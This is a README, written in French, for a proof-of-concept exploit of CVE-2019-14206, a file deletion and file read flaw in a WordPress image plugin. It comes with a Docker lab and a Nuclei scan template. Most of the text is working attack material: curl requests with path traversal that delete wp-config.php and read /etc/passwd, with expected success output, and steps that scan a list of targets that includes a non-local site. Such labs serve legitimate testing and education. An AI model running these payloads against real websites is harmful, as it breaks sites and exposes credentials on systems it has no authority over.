
Exploit de preuve de concept pour CVE-2019-14206, démontrant la suppression arbitraire de fichiers dans le plugin WordPress Adaptive Images. Inclus un laboratoire Docker, un modèle Nuclei et des scripts de test manuels pour l'éducation et la validation en sécurité.
CVE-ID : CVE-2019-14206
Sévérité : Élevée (CVSS 6.5)
Plugin concerné : Adaptive Images pour WordPress
Versions affectées : < 0.6.67
Cette vulnérabilité permet à un attaquant distant non authentifié de supprimer des fichiers arbitraires sur le serveur WordPress en exploitant le plugin Adaptive Images.
// Le plugin utilise une entrée utilisateur SANS nettoyage
$settings = $_REQUEST['adaptive-images-settings'];
// Construit le chemin du fichier avec des paramètres contrôlés par l'attaquant
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;
// SUPPRIME un fichier arbitraire
unlink($cache_file);
# Vérifier Nuclei
nuclei --version
# Vérifier Bash
bash --version
# Vérifier curl
curl --version
# Vérifier PHP (optionnel)
php --version 2>/dev/null || echo "PHP non disponible (optionnel)"
# Si vous êtes dans le répertoire nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates
# Ou téléchargez les fichiers nécessaires
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates
# Vérifier si les fichiers existent
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh
Exécutez la démonstration complète qui simule toute l'exploitation :
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh
Ce qui se passe :
Résultat attendu :
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
# Si Docker est en cours d'exécution
docker-compose up -d
# Si Docker n'est PAS en cours d'exécution, utilisez le simulateur
./docker-test-full.sh
# L'environnement sera disponible à l'adresse
# http://localhost:8888
# Vérifier si le script vulnérable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php
# Test LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Test de suppression de fichier
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Vérifier si wp-config.php a été supprimé
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php
# Créer un fichier de cibles
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF
# Scan basique
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt
# Scan détaillé
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v
# Scan avec débogage (OBLIGATOIRE pour les primes)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug
# Sauvegarder les résultats
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt
# Voir les résultats
cat results.txt
# Les résultats positifs contiendront :
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888
# Essayer de lire /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"
# Essayer de lire wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"
Résultat attendu (LFI) :
=== CVE-2019-14206 Vulnerability Test ===
[*] Settings received:
source_file = /etc/passwd
...
[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd
# Vérifier si wp-config.php existe AVANT
ls -la wp-config.php
# Exécuter l'exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"
# Vérifier si wp-config.php a été supprimé APRÈS
ls -la wp-config.php
Résultat attendu (Suppression de fichier) :
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php
Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible
[N/A] No results found